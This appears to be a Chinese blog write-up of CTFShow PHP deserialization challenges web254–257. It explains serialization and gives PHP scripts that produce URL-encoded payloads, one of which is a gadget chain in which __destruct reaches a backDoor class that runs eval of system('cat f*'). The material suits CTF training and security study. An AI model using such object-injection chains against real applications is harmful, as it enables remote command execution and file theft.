首页 > 其他分享 >CTFShow 反序列化

CTFShow 反序列化

时间:2022-10-06 23:33:19浏览次数:57  
标签:__ 函数 getInfo backDoor CTFShow 字符串 序列化

序列化:是将变量转换为可保存或传输的字符串的过程
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。

notice:序列化只是将变量序列化。试图通过序列化修改对象中函数的操作都是痴心妄想。

web254

?username=xxxxxx&password=xxxxxx

web255

对ctfshowUser类修改一下得出反序列化后的结果

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

    public function checkVip(){
        return true;
    }
    public function login($u,$p){
        return true;
    }
    public function vipOneKeyGetFlag(){
        echo $flag;
    }
}

echo urlencode(serialize(new ctfShowUser));
?>

web256

<?php
class ctfShowUser{
    public $username='x';
    public $password='y';
    public $isVip=true;

}

echo urlencode(serialize(new ctfShowUser()));
?>

把反序列化的结果放入Cookie中

web257

前面之前提到过,序列化只会将变量变成字符串存储,不会对函数有何处理。
还有一个点需要记住,即将一个字符串进行反序列化的时候是不会触发__construct()函数的,但是会触发__destruct()函数。

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'info';
    

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}
class backDoor{
    private $code='system("cat f*");';
	public function getInfo(){
        eval($this->code);
    }
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
?>

分析(废话连篇

这里要拿到flag,就必须想办法触发backDoor对象的getInfo()函数,但是题目中默认的是触发info对象里的getInfo()函数。

同时,我们注意到,题目中是将info对象实例化存储在变量$class中(通过__construct()函数),而序列化只会将对象中的变量存储成字符串。所以,我们可以像利用跳板一样,利用ctfshowUser这个对象的序列化将backDoor对象当作字符串存储其中。

标签:__,函数,getInfo,backDoor,CTFShow,字符串,序列化
From: https://www.cnblogs.com/xjy881/p/16757161.html

相关文章

  • python 反序列化
    利用的关键点就是如何构造我们的反序列化的payload,这个时候不得不提到__reduce__官方介绍reduce当序列化以及反序列化的过程中碰到一无所知的扩展类型的时候。就......
  • Java对象序列化和反序列化
    Java类的序列化和反序列化序列化:指将对象转换为字节序列的过程,也就是将对象的信息转换成文件保存。反序列化:将字节序列转换成目标对象的过程,也就是读取文件,并转换为对象。几......
  • CTFShow 文件包含
    web78目的很明显,需要我们去包含一个文件。<?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-1610:52:43#@LastModifiedby:h1xa#@LastM......
  • ctfshow 命令执行总结
    做完ctfshowweb29~77、118~124的总结,写的比较简略。PHP中简单的eval函数执行字符限制绕过使用通配符*and??c=system('tacf*');使用`执行命令......
  • thinkphp反序列化分析
    layout:thinkphptitle:反序列化分析date:2022-09-0121:15:02tags:thinkphp5.1从早上搞到下午四点多我构造的这个poc是真几把烂啊不过好在能运行成功先放poc......
  • mysql中的事务隔离级别序列化如何实现
    ......
  • CTFShow XSS
    做题目前,需要先搭建一个网站,用于接收flag。这里选择的是php语言。网页(2.php)代码如下:大概说一下作用,接收get传递来的参数,并写在flag.txt中<?php$flag=$_GET['c'];$......
  • 序列化成Json时,多个对象互相引用导致死循环 Text.Json.JsonException: A possible obj
    错误:当两个类中的属性互相引用时,导致对象实例序列化成Json时死循环,错误如下:System.Text.Json.JsonException:Apossibleobjectcyclewasdetected.Thiscaneither......
  • OC反序列化失败
    [NSJSONSerializationJSONObjectWithData:jsonData2options:NSJSONReadingMutableContainerserror:&err]失败,报错信息:ErrorDomain=NSCocoaErrorDomainCode=3840"Une......
  • 序列化之Serializer
    常用字段类和字段参数1.CharFieldBooleanFieldIntegerFieldDecimalField2.返回格式ListField:{hobby:['篮球','足球']}DictField:{wife:{'name':'barry'}}......